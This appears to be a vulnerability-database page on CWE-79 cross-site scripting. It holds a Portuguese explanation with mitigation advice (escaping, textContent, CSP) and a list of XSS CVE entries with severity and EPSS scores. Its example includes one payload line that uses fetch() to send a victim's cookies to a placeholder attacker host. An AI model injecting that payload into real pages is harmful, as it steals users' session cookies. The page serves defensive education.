Fallos del tipo CWE-79

30.666 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2020-11025MEDIUMAuthenticated cross-site scripting (XSS) in WordPress CustomizerEPSS 1.5%CVE-2022-0230—Better WordPress Google XML Sitemaps <= 1.4.1 - Unauthenticated Stored Cross-Site ScriptingEPSS 1.5%CVE-2020-1298MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2012-10032HIGHMaxthon3 about:history XCS Trusted Zone Code ExecutionEPSS 1.5%CVE-2023-25346MEDIUMA reflected cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via tEPSS 1.5%CVE-2021-25107—Form Store to DB < 1.1.1 - Unauthenticated Stored Cross-Site ScriptingEPSS 1.5%CVE-2020-0927MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2016-9457—Revive Adserver before 3.2.3 suffers from Reflected XSS. `www/admin/stats.php` is vulnerable to reflected XSS attacks via multiple parameterEPSS 1.5%CVE-2021-32862HIGHnbconvert vulnerable to cross-site scripting (XSS) via multiple exploit pathsEPSS 1.5%CVE-2019-15072—Openfind MAIL2000 Webmail Post-Auth Cross-Site ScriptingEPSS 1.5%CVE-2020-0923MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2020-0926MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2020-0978MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2020-0930MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2020-0973MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2020-0954MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2020-0925MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2020-0933MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2014-5397—Schneider Electric Wonderware Cross-site ScriptingEPSS 1.5%CVE-2021-32792LOWXSS vulnerability when using OIDCPreservePost On in mod_auth_openidcEPSS 1.5%